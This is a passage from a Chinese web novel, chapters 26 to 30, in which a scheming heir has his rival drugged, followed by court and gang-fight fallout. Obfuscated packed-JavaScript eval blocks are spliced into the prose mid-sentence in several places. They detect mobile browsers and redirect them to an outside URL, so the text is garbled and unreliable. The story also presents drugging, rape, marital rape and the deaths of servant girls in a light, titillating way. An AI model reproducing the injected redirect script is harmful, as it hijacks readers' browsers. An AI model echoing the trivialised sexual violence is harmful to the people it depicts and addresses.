自己还在府中用膳,他半路跑下去强暴丫鬟。 这TM不疯了吗? 这个人就这么忍不住吗? “顾相,你教育的好儿子啊!” “陛下息怒,北辰绝不是那种人,臣这就去看看。” “好啊,朕和你一起去。” 顾云霆很想把慕容嫣留下,可是他知道,此时的她正在气头上,根本拦不住。 没办法,慕容嫣带着嬛嬛,三人直奔茅房。 而此时的猴子早已经躲了起来。 “臭娘们!撅起来!” “少爷,您行行好吧,他们已经去告诉老爷了.呜呜呜。” “老爷?今天就是天王老子来,你也跑不掉!” “放肆!” 茅房里还有声音传来,不用想也知道是在干什么。 慕容嫣在外面听到这样的对话,气的翠眉都拧到一起。 顾云霆顾不上许多了,立刻冲进茅房。 就看到青竹躲在角落里嘤嘤哭泣,而自己儿子正在手忙脚乱的脱衣服。 “逆子!” 顾云霆这回可是使出了吃奶的力气,大巴掌从胯骨的位置抡上来。 啪! 一巴掌把顾北辰打得昏天黑地,眼冒金星,咣当一声摔倒在地上。 “呜呜呜,老爷” 顾云霆看青竹的样子更是气不打一处来:“你还有脸哭!老夫今天不打死你,以正门风!” 第26章 畜生,你就这么忍不住吗? “呜呜呜” 青竹只是个十六岁的少女,面对强权除了哭还能做什么呢? 顾云霆抓着儿子的头发,把他带出茅房,然后父子俩一起跪在慕容嫣面前。 “陛下!臣家门不幸,丫鬟竟做出勾引少爷的事,臣甘愿受罚。” 与此同时,青竹扭扭捏捏,一瘸一拐地抱着碎成布条的衣服走出来。 这些布条只能勉强遮住要害部位。 看热闹的小厮都是心满意足,大饱眼福! 面对一脸怒容的慕容嫣,青竹跪在地上叩首,一声不吭。 好像心如死灰那般。 大家都是女人,慕容嫣在瞬间就明白了什么。 肯定是顾北辰酒后兽性大发,绝不是青竹勾引的他。 这样的男人,真是令人恶心! 恶心死了! 慕容嫣指着顾北辰说道:“顾北辰,你湮灭人性,欺辱妇女,罪无可恕!从今天开始,你就在家闭门思过,什么时候改好了再去翰林院!” “哼,起驾回宫!”慕容嫣什么都不想再说了,转身便走。 嬛嬛眼神复杂地看了看顾北辰,心里不知道在想些什么,也跟着走了。 顾云霆起身,又是一巴掌抽在顾北辰脸上。 “啪!” “畜生,你就这么忍不住吗?” “你想要女人,什么样的没有?非要挑身边的丫鬟下手,你还有没有点廉耻和自尊!这下好了,因为你一时冲动,刚刚从陛下那里得到的宠爱又荡然无存!让我顾家的名声再次雪上加霜!你是要坑死这个家吗?” 顾云霆说的没错。 在上层社会里,讲究的就是个面子。 有纨绔想尽办法博公主一笑,这是雅事;亦或者偷看豪门大户的闺女洗澡,掳走某某郡主之女发生一夜情。 这样的事情如果被其他纨绔知道,肯定都会竖起大拇指说上一句:兄弟牛逼! 但你要挑苦出身的丫鬟下手,那就是垃圾、色懒。 而且是外五县的色中色,懒中懒。 这样的人,根本不配在上流社会与之为伍。 而今天,顾北辰做的就是最没有档次、最低级,最招人讨厌的事情。 “爹”顾北辰有些伤感,站起身用头抵住父亲的肩膀。 这一刻,饶是顾云霆再生气也难免心疼,拍了拍他的脊背:“好了好了,为父看你今天不对劲,有什么事情明天再说吧诶?” 顾云霆话音刚落,突然就感觉有一只手在自 己两腿中间掏了一把! 卧槽! “你!”这一下吓得顾云霆浑身一激灵“你个小王八蛋连你爹都不放过!?” “大胆!来人!” “把这个逆子抓起来!” “是!” 顾北辰彻底憋疯了得谁抓谁得谁摸谁。 干巴巴瘦的小厮被他抓的连连惨叫。 “哎呦少爷我是男的啊!” “少爷委屈您了老爷的命令不敢违抗!” “啊啊啊啊!” 顾北辰感觉自己嗓子眼都要喷出火来了。 这一刻顾云霆终于意识到不对劲儿子肯定是被人下药了! “快!快请大夫来!” “是!” 顾北辰被五花大绑在床榻上顾云霆在原地来回踱步。 大夫看过以后说道:“启禀丞相顾少中的是苗疆合欢散此毒剧烈如果再得不到发泄 顾云霆还没等问呢老妻就嗷的一嗓子:“我可怜的儿啊!!呜呜呜!” “闭嘴!吓我这一跳。”顾云霆问大夫:“那到底该如何发泄?” “只需要给顾少找两位女子便好。” “好辛苦大夫了管家看赏。” 大管家拿过来两个银饼子大夫千恩万谢地走了。 顾北辰难受的浑身直哆嗦当爹地看着这一幕也实在于心不忍。 “管家喊两个丫鬟过来吧。” “是。” 管家出去了很快便有两个怯生生的小丫头进来见到顾北辰那个样子都有些害怕相互拉了拉手。 顾云霆说道:“今日之事不得外传你们好生伺候少爷结束之后重重有赏。” “是。” 小厮给顾北辰松绑顾云霆带着人走了出去。 出了门他对管家说道:“我们和北辰吃的是同样的饭菜为什么只有他中毒了呢?” 管家很聪明立刻想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789159|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是酒。 “老爷应该是酒的问题。” “谁打的酒?” “青竹。” “好哇我就说这小丫头有问题。”顾云霆面露狠色:“想上位都想疯了敢在这个节骨眼给老夫整事拉出去杖毙。” “是。” 有好心的丫鬟给青竹批了件衣服青竹还跪在原地说了句谢谢。 紧接着就有两名五大三粗的家丁走过来像牛头马面似的一人手里拿着一根手臂粗的木棍 。 其中一名家丁说道:“青竹姑娘,老爷说.” “唉。”家丁也有些不忍,毕竟这个姑娘是如此温柔好看:“老爷说要杖毙你,你忍着点吧,我们尽量快点动手。” 青竹哭天抹泪地摇头:“不是少爷要强迫我,和我没有关系的啊!” “我们也知道。但是老爷为了整顿家风只能牺牲你,所以你也别怪我们。” “青竹,如果你实在不愿意投胎的话,就去找他老人家报仇吧。” 说完两人开始拖拽青竹,把她放在准备好的行刑凳子上,将她的双手双脚捆好。 过程中青竹不免挣扎:“老爷饶命啊!” “呜呜呜呜。” “少爷,您不是说最疼爱奴婢了吗?奴婢无罪啊!” “两位大哥,我求求你们,放了我吧!” 家丁又叹了口气,无奈摇头,抡起木棍作势要打! 就在此时,院子中突然闪出一道黑影! “砰!” “砰!” 两记手刀干脆利落地敲在家丁后脑勺上,然后开始手忙脚乱地给青竹松绑。 青竹纳闷地回头看去。 不是猴子又是何人! “青竹姐姐,别怕,我来救你了。” “你是.侯二?你怎么来了?” “别问,跟我走!” 青竹想不到,在自己即将面临死亡的刹那,竟是这个刚认识不到两个时辰的小厮救了自己。 “侯二,你为什么要救我!” “不为什么,这个府太小,容不下我们俩。” 猴子不由分说,把青竹扛在自己肩膀上,双腿一用力便翻越围墙,消失在夜色之中。 第27章 丈夫和妻子睡觉犯法啊? 一天一夜没睡的林臻还坐在会客厅里等消息浓茶冲泡了一遍又一遍早已经没了味道。 蛐蛐在窗沿下咕咕地叫着飞蛾围绕着烛火摇曳浣碧已经靠在旁边的椅子上睡着了。 姑娘单手撑着脸颊好似前一刻还在关注着心爱之人体态娇柔。 虽然是夏日但毕竟是北方夜间吹来的风带着丝丝凉意林臻起身把自己的大氅披在她身上。 浣碧灵动的睫毛扑闪两下没醒。 林臻不禁感叹美人就是美人连睡觉的姿态都如此令人着迷。只可惜浣碧今年才十五岁实在是有些下不去手。 即便古代女子十五六岁当母亲是件很稀松平常的事情林臻也依旧过不了自己心里那关。 再说一天一夜的高强度用脑他也略感疲惫根本没有那方面的心思。 林臻回到自己座位上继续等侯春的消息。 都已经两个时辰了。 让你下个药又没让你陪顾北辰搞基怎么这么墨迹呢。 难不成顾北辰兽性大发把侯春留下了? 嘶.不能吧. “世子!侯春回来了!” 林臻立刻站起来:“他人呢?” “马上进府!但是他还扛了个女人回来!” “啊?” 话音刚落就见侯春扛着青竹从大门口埋进来。 一路上青竹已经知道了事情的原委。 她万万没想到自己所遭受的一切竟然都是这个救自己的男人所造成的。 她难过地哭泣泪水打湿了侯春的衣衫在凉爽的夏夜里是如此炙热。 此时的青竹已是面如死灰。 自己刚出狼窝转眼又入虎口说不定今晚还会被这个纨绔世子欺凌。 唉自己怎么就这么惨呢。 侯春进来了扛着青竹跪在林臻面前说道:“世子属下幸不辱命。” 林臻目不斜视的盯着身穿侯春衣服的青竹问道:“这个姑娘是怎么回事?” “回世子她名字叫青竹是顾府的丫鬟。事情进行得如此顺利都亏了她但是顾云霆要将他杖毙所以属下就把她救了回来。” 青竹! 这可是顾北辰的贴身丫鬟多年来一直伺候顾北辰的衣食起居可以说是他的贤内助。 就这么被侯春救了回来? 林臻激动地说道:“快 侯春将事情全盘托出当说到顾北辰控制不住要在茅 房里强暴青竹的时候,林臻哈哈大笑,丝毫不顾青竹满脸的泪水。 女帝震怒,责令顾北辰在家闭门思过,短时间内不必再去翰林院。 如此,自己离间顾北辰与女帝关系的计划又近了一步。 不过林臻可不会就此麻痹大意,以后的路需要更加谨慎才行。 顾云霆可不是傻子,儿子突然大变出现这样的事情,他肯定会猜到是有人下药,并且会将此事禀报给慕容嫣。 只不过慕容嫣会相信这种事情是一个丫鬟做出来的吗? 林臻摇摇头,心说不管了,明天进宫瞧瞧便知。 说话间浣碧被吵醒,但她没有说话,只是很乖巧地又去给林臻泡茶。 林臻有些玩味地看着侯春:“侯春,你跟我说实话,是不是喜欢上青竹姑娘了?” 侯春支支吾吾半天还是低头说道。 “世子,这件事情能成功全靠青竹姑娘的帮助,所以在她遇到危险的时候属下才想着把他救下来以报这份恩情,并无其他龌龊思想。” 林臻不爽利地说道:“喜欢就大胆说出来,又没人笑话你。” “世子,属下真没有那方面的想法.就算一开始被青竹的美丽所折服,可后来想想,属下与青竹姑娘并不合适。她是奴籍,按我家规矩是不能娶进门的,还是让她留在世子这边,做个下人吧。” 林臻本以为侯春看上了青竹,两人郎才女貌倒也算一段好姻缘,谁知侯春这小子竟然把阶级看的这么重。 也罢,古人思想,不能强求。 但是自己好像又夺走了顾北辰的一部分气运。 林臻对跪在地上木讷的青竹说道:“青竹,顾家你肯定是回不去了,今后可愿意留在我府里?” 青竹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789160|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的泪水早就哭干了。 她只是红尘中最不起眼的尘埃,家境贫寒,卖身为奴,身不由己。 顾家不念昔日情份,说杀就杀。 也罢,自己就是这个命。 今晚就当被猪拱了吧,也好过回去被顾家的人打死。 青竹慢慢的把头磕在地上,像是下定决心那般:“奴婢愿意。” “好,浣碧,你带她去换身衣服,洗个澡,然后安排她住下。”林臻打了个长长的哈欠:“啊!本世子太困了,必须得休息了。” 言罢林臻朝卧房走去。 这具身体还是太差,想当年自己刚入仕,处理起镇里的事务都是几天几夜不合眼睛。 回到卧房,就看到刘书瑶躺在床上睡得香甜。 跪了大半天也很消耗体力,林臻走过去一巴掌抽在她屁股上。 “起来!谁允许你睡我床的?” 刘书瑶被惊醒,坐起来难以置信地看着他:“你说什么?你的床?” “不然呢?要是不想睡地砖就乖乖起来。” 刘书瑶瞬间委屈得眼睛通红。 她站起身,穿着亵衣走路带风,春光乍泄。 瞧那架势是准备去厢房睡,林臻一把将她拉进怀里。 “干什么去?” “你不是不让我睡你的床吗?我去柴房睡总可以吧?” 说着说着眼泪就掉了下来。 真能演啊,也不知道这份可怜演给谁看。 林臻坏笑着说道:“想睡觉?可以啊,先给为夫伺候睡着了吧。” 说着话,林臻将她横抱起来,直接扔在床榻上,随即开始脱衣服。 刘书瑶可是被吓怕了,赶紧起身逃窜,可她哪里是林臻的对手? “林臻!你不可以再捉弄我了!” “为什么不可以?丈夫和妻子睡觉犯法啊?” “你你不是不爱我了吗?为什么还要那样.” “行房和爱必须的挂钩吗?我没听说过。” 言罢林臻再次将她推倒在床榻上,一用力,便压了上去。 第28章 七个丫鬟死了两,顾北辰还没结束? 日上三竿顾云霆眼珠子通红地下朝回来。 今天的朝堂可是不太平。 林震仙终于发难了在大殿上公然说刘翰阳老迈昏聩教子无方不适合继续担任户部侍郎的职位。 御史大夫司马忠太保上官云顿言官魏涛同时出言奚落 慕容嫣对此一点都不诧异。 刘家是林震仙一手扶植起来的其原因就是因为林臻喜欢刘书瑶。 结果刘书瑶爱上了顾北辰两人还在王府婚宴的时候偷情这是个人都忍不了。 刘翰阳一把年纪哭得像个月子里的娃连连说自己冤枉。 往日与他交好的几位大臣也都看向顾云霆的脸色见他没有出言帮忙也都闭上嘴巴。 慕容嫣没有当朝治他的罪说是先回家闭门思过日后再审。 明眼人都能看出来其实慕容嫣是有意想保下刘翰阳因为对她来说林震仙的敌人就是自己可以拉拢的盟友。 实则刘家这一支就算完了在官场里混可不是讨好皇帝就能万事大吉的诸位大臣的阻挠与攻击会让他今后寸步难行。 顾云霆觉得自己得重新寻找盟友以此来对抗林震仙。 大管家佝偻着身子走进正堂来报。 “老爷少爷那边还没有结束。” “噗!!什么!?” 一口温茶全被顾云霆喷了出去。 干了一宿还没结束? 这岂不是要精尽而亡吗? 顾云霆问道:“什么情况?” “老奴也不知少爷从昨夜开始已经连战七个丫鬟还死了两个可是到现在依然没有要停下的意思。” 死两个丫鬟对于顾云霆来说就和剪两朵花没什么区别他只关心自己儿子。 “大夫怎么说的?可有解救的办法?” “大夫说必须要让少爷发泄够否则会爆体而亡。” “那到底怎么办?一直这么干下去也不是个事儿啊!” “老奴已经派人去燕来楼请专业的人来了看看时间这会儿应该快到了。” 想到燕来楼那帮经验十足的女人顾云霆这才放下心来。 有她们坐镇北辰估计很快就能发泄出来了。 小丫头的功夫就是不行七个都战不过儿子一个。 拉胯! 顾云霆拨了拨杯里的茶叶随意的说道:“把那两个丫鬟安葬了另外多拿些钱给她们家送去就说是因病去世。” “老爷放心。老奴一早就已经派人去办了,每家五十两银子。管家顿了顿,看了看顾云霆稍缓的脸色又说道。 “老爷,还有一事,昨夜有人闯入府中,打晕行刑的家丁,把青竹姑娘救走了。 “混账!顾云霆勃然大怒:“白袍义从是干什么吃的,有人进来都不知道?可有查到是谁? “没有,家丁说对方轻功很好,他们根本就没看到人。 “废物!饭桶! “是。管家离开。 发泄完脾气的顾云霆重新坐回椅子上。 他早应该猜到,给顾北辰下药的人绝对不是青竹,她没有那么大胆子。 可是她竟然被救走了,那就证明她跟下药的人一定脱不开干系! 臭婊子,老子非把你全家都抓到京城来,当你的面,一个个砍头不可。 敢背叛顾家,就是这样的下场! 发了半天狠的顾云霆开始重新思考青竹的背后之人。 他第一反应就是林震仙,可随即想想又不太可能。 以林震仙的性格才不屑做这些卑鄙之事。 那会是谁呢?又是谁跟顾家有这么大的过节呢? “老爷,谷大人来了。管家又进来禀报,“另外,燕来楼老鸨带着十名女子进了少爷卧房。 “知道了,让老谷进来。 “是。 昨天跪了大半天险些丢掉乌纱帽的谷中满,此刻意气风发地跨入正堂,满脸笑意地对顾云霆拱手作揖:“顾相,下官来迟了。 “无妨,只要你没事本相也就放心了。 这可是顾家的钱袋子,顾云霆对谷中满也是比较客气的。 谷中满说道:“下官多谢顾相帮助,今后必定尽心尽力。 顾云霆狐疑着说道:“一家人不说两家话。只是你发现没有,林臻此子好像和以前不同了。 “没错,王府婚宴时候,他讲话刁钻刻薄又滴水不漏,端得是伶牙俐齿,机敏诡辩。这次如果不是他,我们也不会吃这么大的亏。 “嗐,几十万两而已,赔就赔了。顾云霆不是很在意的摆摆手:“只是这地下钱庄乃你我命脉,千万不能出岔子,必须尽快办好。 “老爷!老爷,不好了! 管家着急忙慌地跑进来:“老爷,昨天我们派去赌场搬东西的人都被林臻赶了回来,到现在为止,钱庄里的钱一分也没拿出来! 顾云霆的心险些从嗓子眼里跳出来:“什么!?为什么不早说!” “老奴问了搬东西的小厮,他说昨天回来的时候老爷正在准备筵宴款待陛下,所以就没有禀报,结果耽误到现在!” “那他妈还心思什么,赶紧派人继续搬啊!” “是!” “等等!让毛梦极过来,这次老夫要他亲自带人去搬!任何敢阻拦者,杀无赦!” “是!” 顾云霆地下钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789161|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庄的事情林臻并不知道,原书里也没交代,此刻他睡得正香。 刘书瑶到底还是被他赶去厢房睡觉了。 把这样一个深爱情敌的女人搂在身边睡觉实在不安全,谁知道她半夜会不会突然鬼迷心窍地拿把剪刀把自己扎死? 快到正午的时候林臻才起床,将浣碧喊进来。 “浣碧。” “来了世子。” 浣碧推门而入,依旧端着洗脸盆。 林臻大大咧咧站起身等她给自己穿衣服,即便浣碧早就习以为常,也难免羞涩,尤其是看到被褥上的斑块,更是羞得脖子根都红了。 唉,也不知道什么时候世子也能对自己那样呢? 好想要呀。 少女思春夜未央,时歌醉酒月如常。不知不觉间浣碧已经神游天外。 她没急着给林臻穿衣服,而是用温水浸透手巾,包住澡豆,把他浑身上下都擦了一遍,尤其是重点部位特殊照顾,最后才开始一件件上衣。 林臻说道:“等下从我的月例上支取十两,找人打口好的棺材,再拿二十两银子找个送葬队,把侯春的母亲风光大葬。” “是。” “管家把钱送过来了吗?” “送过来了,奴婢看了看刚好五百两。” “嗯,分出三百两给我,剩下的二百两交给你安排吧。” “啊?” 浣碧有些吃惊。 这就要做当家主母管钱了嘛~嘻嘻嘻。 林臻没注意她的小心思,又问道:“青竹那丫头呢?” “奴婢把她安排到内院打杂了,如果世子想要,奴婢就让她来服侍您。” “不必,看好她就行。如果有什么异常行为,就直接杀了吧,不用告诉我。” 浣碧大惊。 以前世子可是从来不要人命的,怎么现在张嘴闭嘴就要杀人呢? 见浣碧不回答,林臻挑起她精致的下巴,目光略带侵略地问道:“怎么?你在质疑我说的话?” “奴婢不敢。” “不敢最好,就按我说的去做。” “是。” 青竹也是一个爱顾北辰爱到骨子里的女人,更何况她知道,如果不是林臻的话,她应该还会在顾府里当差,说不定已经成为顾北辰的内人了。 所以她对林臻是有恨意的。 如果不是因为她还有利用价值,林臻早就把她杀了,留着无用。 成大事者最忌讳摇摆不定,犹豫不决。 只有杀伐果断,才能立足于天下。 点齐银两出门,林臻直奔赌场而去。 他需要把出租车公司的事情提上日程。 第29章 丢东西事小丢面子事大,日后就这么说。 林臻不会武功,他也没有学武功的打算。 打架斗殴这种糙活儿都是底层人干的,就好像你从没见过市长亲自动手一样。 所以,为了怀里的三百两银子不被贼人抢走,他带着侯春、二狗、韩忠三名马仔出门。 其实在原书中,顾北辰前期也不会功夫,后期才开始和海棠朵朵她们学的。 因为主角光环的原因,他的武功一日千里,打遍天下无敌手。 爽文就是爽文,没什么真东西可言。 经过一夜的整顿,赌场已经利落很多,再把破坏掉的地方修补修补就可以重新开业了。 张俪早早地起来指挥手下干活,忙活一上午连口水都没喝。 林臻从远处看她,美人挽着袖子,露出白藕般的手臂,浑身香汗淋漓,在人群中像鹤立鸡群的白莲花那样耀眼。 这是个有味道的女人。 林臻内心不由暗暗叹服。 在这个女子无才便是德的年代里,像张俪这样有事业心、能力出众的女人实在不多。只要忠心,日了以后会是自己的左膀右臂。 日后日后嘛,这么翻译也没问题。 没有被夺走最宝贵东西的女人,是不会对一个男人忠诚的。 就好比我们谈恋爱一样,开房前和开房后,女人对男人的态度截然不同,甚至是截然相反。 因为交融的刹那,男人就像一颗种子,种在了她心底最柔软的地方,让她觉得,你就是她的归宿。 林臻走过去,张俪用袖子擦了擦美鬓的汗珠,盈盈笑道:“世子。” “嗯。”林臻点头,从二狗手里拿过黄布包裹着的银两。 “这些银子给你找木匠用,记住,速度一定要快,剩下的钱留着别动,我另作他用。” “是,属下一定尽力。”张俪双手把银两接过去,然后用力一甩背在肩膀上。 按十两一斤算,这可是三十斤银子。 背在身上沉甸甸的。 林臻暗示道:“等下本世子要去皇宫找陛下商量赌王争霸赛的事情,你可别忘了我们的赌约哦,如果我赢了,你要帮我杀个人。” “世子请放心,属下别的不敢说,赌品可是响当当的!只是您到底让我杀谁啊?” “呵呵呵,到时候再告诉你吧。”张俪好奇又不敢多问的样子让林臻哑然失笑。 正准备转身离开,突然身后传来鸡飞狗跳与百姓慌乱逃窜的声音。 “闪开!” “闲人退避!” “再敢靠近打死你!” “天呐是白袍义从!” “这可是丞相府的府兵 “快看快看是奔远大赌场去的!” 林臻回头看去就见一队白袍白甲的士兵手持长枪盾牌呼呼啦啦从远处踏步过来。 目标正是自己的赌场。 张俪神色一变:“顾家狗急跳墙了。” 林臻眉头轻挑试探问道:“他们为什么着急?” “且。”张俪翻个风情万种的白眼“等你赢了我就告诉你。” “列队!” “结阵!” 白袍义从统领顾家府兵总管毛梦极穿着崭新的白袍在赌场面前指挥士兵。 随后转身一双俊朗的鹰目对上林臻戏谑的眼神。 他不认为这帮人敢把自己怎么样。 毛梦极跑到林臻面前抱拳行礼:“见过世子末将毛梦极奉丞相令来赌场取回丞相家的东西。” 林臻知道他。 他是顾家从地方上挑选并一手栽培起来的虽然现在还只是个没有实权的杂号将军负责在顾家领导府兵但等到林家覆灭之后顾北辰将兵权交给他他就开始大展神威了。 这都是后话现在的毛梦极在林臻面前就如同蝼蚁般渺小。 林臻给二狗一个眼神后者立刻会意跑开。 林臻说道:“毛将军这赌场是我的没有顾相家的东西。” “请世子恕罪末将得到的命令就是要取回家里东西所以只能得罪了。” 言罢毛梦极一挥手后面的士兵就要往赌场里冲。 林臻向前一步厉声暴喝:“尔敢!” 他虽然不知道顾家到底要拿什么但他敢肯定这赌场里绝对有了不得的秘密! 否则顾云霆也不会冒天下之大不韪出动府兵明抢! 他指着毛梦极的鼻子说道:“毛梦极别说你一个小小的杂号将军今天就是顾云霆亲自来也不敢踏进我赌场半步!” 毛梦极面无表情好像林臻说的话就和放屁没区别:“把世子控制起来搬!” 见白袍义从们真的要控制自己林臻更加恼怒。 “放肆!我乃王府世子你们敢动我一下便罪同谋反就不怕事后我带着四大营找你们挨个清算吗?” 白袍义从你看我我看你都不知该如何是好。 “这” “人家说的没错抓世子就和抓王爷没区别!” “上层人的博弈,我们夹在中间当牺牲品,这不值当啊!” “我还有钱没花出去呢,可不能就这么死了!” 谁都不愿意第一个冲上去当炮灰。 议论声开始引发骚动,继而引起共鸣。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789162|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >毛梦极也陷入两难,咬咬牙,态度软了下来:“世子息怒,末将也只是奉命行事。” “本世子可不管你奉命与否,趁我没有发怒之前立刻滚蛋。”林臻带着玩世不恭的邪笑:“呵,这场博弈,可不是你们这群小人物能掺和的。” 躲在赌场里看热闹的张俪,望着林臻在阳光下伟岸的背影,满眼都是小星星。 这才是真正的男人啊! 面对百余名如狼似虎的士兵,竟全然无惧,独立当前,以一己之力震慑全场。 什么叫一夫当关? 什么叫万夫莫开? 就是如此! 毛梦极也没想到林臻竟然如此强势。 这下可不好办了。 但能成为一代军神的他可不是没脑子,换了个息事宁人的口吻说道:“世子,那我们不找东西,弟兄们进去赌两把总可以吧?” “我的赌场还在停业整顿当中,不接客。” “世子,今天的事情就不能再商量商量吗?” “不能。”林臻态度十分强硬,一步都不退。 毛梦极也咬紧后槽牙,暗暗下定决心。 顾相昔日待自己不薄,若非他亲临乡下,自己可能还是个种地的普通百姓。 如此知遇之恩,怎能不报? 去他妈的,拼了! 就当是多年来送给顾相的第一份礼物! 毛梦极神色一凛,再次说道:“世子,末将奉命行事,对不住了。” “进去,搬!” 百名府兵立刻动了,踏着步伐准备冲进赌场。 而林臻就这么站在门口,眯起眼睛盯着他们。 丢东西事小,丢面子事大。 摄政王府的脸面,绝不能丢。 今天任何敢进来的人,都必须付出代价。 就在第一名白袍义从要跨进赌场的那一刻,热闹的大街上再次涌现一批人马。 他们黑甲长枪,同样手持盾牌弓箭,队伍浩浩荡荡整齐划一。 为首的人正是王胖子! 躲在远处看热闹的百姓不由得再次大惊。 “天呐,是龙骧营!” “这么多人?看来兵马司里的人都出动了。” “白袍义从和他们相比,简直就是垃圾!” “是啊,双方的战斗力根本没法比,龙骧营可是上过战场杀过人的!” 王胖子扛着一把硕大的陌刀,走路左摇右晃,痞味十足。 如果嘴上再叼颗雪茄,那就是妥妥的黑帮老大。 “怎么滴?” “胖爷听说这里有人闹事?” 第30章 讨厌嘛~非亲非故的怎么可以抓人家那里呢 王胖子就像个流氓吊儿郎当地来到毛梦极面前大嘴滂臭地说道. “小毛啊胖爷听说你在我大哥赌场里闹事?咋的?吃拧了还是活腻了?” 毛梦极恨恨地咬牙。 这下可难办了。 光是一个林臻就这么难对付现在又出来个天不怕地不怕就怕没有架打的王胖子。 看来一场火并已经在所难免。 毛梦极暗暗握紧长枪从牙缝里挤出两个字:“胖爷。” “呦?叫的这么不情愿?看来你是真想跟你胖爷拼一下啊。”王胖子怒目圆睁险些把眼珠子瞪出来高声喊道。 “跟我王胖子拼你有那个实力吗?” 毛梦极说道:“胖爷这里可是皇宫脚下闹的这么僵不合适吧?” “我去你妈的胖爷想怎么样就怎么样!别说你们几只烂鸟就是顾云霆那老鳖亲自来胖爷也照砍不误!” 毛梦极的目光扫后他身后的黑甲士兵保守估计有五百人上下各个长枪硬弩顶盔挂胄。 而自己这边只有百余人如果打起来肯定必败无疑说不定还会闹出人命。 怎么办啊?难道就这样灰溜溜的回去复命? 王胖子根本不给他思考的机会胖手一挥五百龙骧营士兵将现场全部包围起来张弓搭弦摆开阵势只需一声令下白袍义从们立刻血溅当场。 “胖爷!”见王胖子真要动手毛梦极慌了“君子动口不动手你这是要干什么?” “君子?哈哈哈哈胖爷生来就是坏蛋!你们敢砸我大哥的场子胖爷今天就让你们付出代价!” 胖子对龙骧营的将士们喊道:“都准备好没有?” “胖爷下命令吧!” “早就准备好了!” “敢砸世子的场子找死!” 这些人中有将军府的亲卫也有巩固京城治安的城防兵马司军卒他们全部隶属于龙骧营也就是林震仙义子王铁男的手下。 听说大将军儿子要火并一群杀才激动的直跳脚。 有些日子没杀人了 于是这帮杀才几乎全来了没来的也在呼呼啦啦往这边赶。 毛梦极恨啊! 秀才遇上兵有理说不清。 面对从来就没讲过道理的王胖子他就算说出花来也没用。 “给我砍!出事算的我!”胖子一声令下龙骧营士兵立刻放 下弓箭掏出长刀就要冲了上来! 毛梦极被逼无奈只好先发制人一脚踹向胖子胸口。 胖子轰出一拳正中他的脚底板双方各退一步拉开距离。 林臻从没看到黑帮火并兴奋之下拉着张俪退到赌场里面 张俪低下头看着自己的柔荑被林臻死死攥着那滚烫的温度仿佛烈火不断焚烧着心房。 讨厌嘛~非亲非故的怎么可以这样抓着人家呢。 只见胖子往手心里啐两口唾沫握住陌刀挥刀便砍。 毛梦极也不是好欺负的手持长枪出击两人在赌场门口打的你来我往不可开交。 王胖子仗着身大力不亏招式大开大合刀刀重击。 毛梦极力量不敌胖子但胜在灵巧身形躲避宛若一只轻盈的蝴蝶十分富有美感。 可是他手下那些白袍义从就没那么好运了。 面对数倍于自己的上过战场杀过人的士兵他们根本无力抵抗还没到一炷香的时间纷纷被砍倒在地有的人喷着血沫子有的人失去大腿有的人已经倒地不起没了生机。 周围百姓都吓坏了长这么大也没见过这样的火并这不乱套了么。 “打起来啦!” “杀人啦!快跑啦!” “快去报官!” “你傻呀他们就官啊!” 很快白袍义从就剩下毛梦极一个人站着了。 龙骧营的士兵还觉得不过瘾要合起伙来放翻他。 胖子在乱战中喊道:“谁都不许动!这个人是胖爷的!” 这下谁都不敢上前了只围成个巨大的圈把胖子和毛梦极围在中央然后拍手给胖子加油。 “胖爷加油!” “干死这个Beyond!” 毛梦极眼睁睁看着战友一个个倒下他有心想救却被胖子缠住无法脱身一时间心急如焚。 再看王胖子几乎是越打越兴奋再这么下去自己恐怕也难逃厄运。 两人再次缠斗四个回合毛梦极一枪将胖子逼退。 后者把陌刀撑在地上大口喘着粗气脸上露出欣赏的神色: “呼呼行啊小子放眼天下能和胖爷走过三十招的人不多你算一个!不行过来跟胖爷混吧!在顾老鳖那里没前途!”< 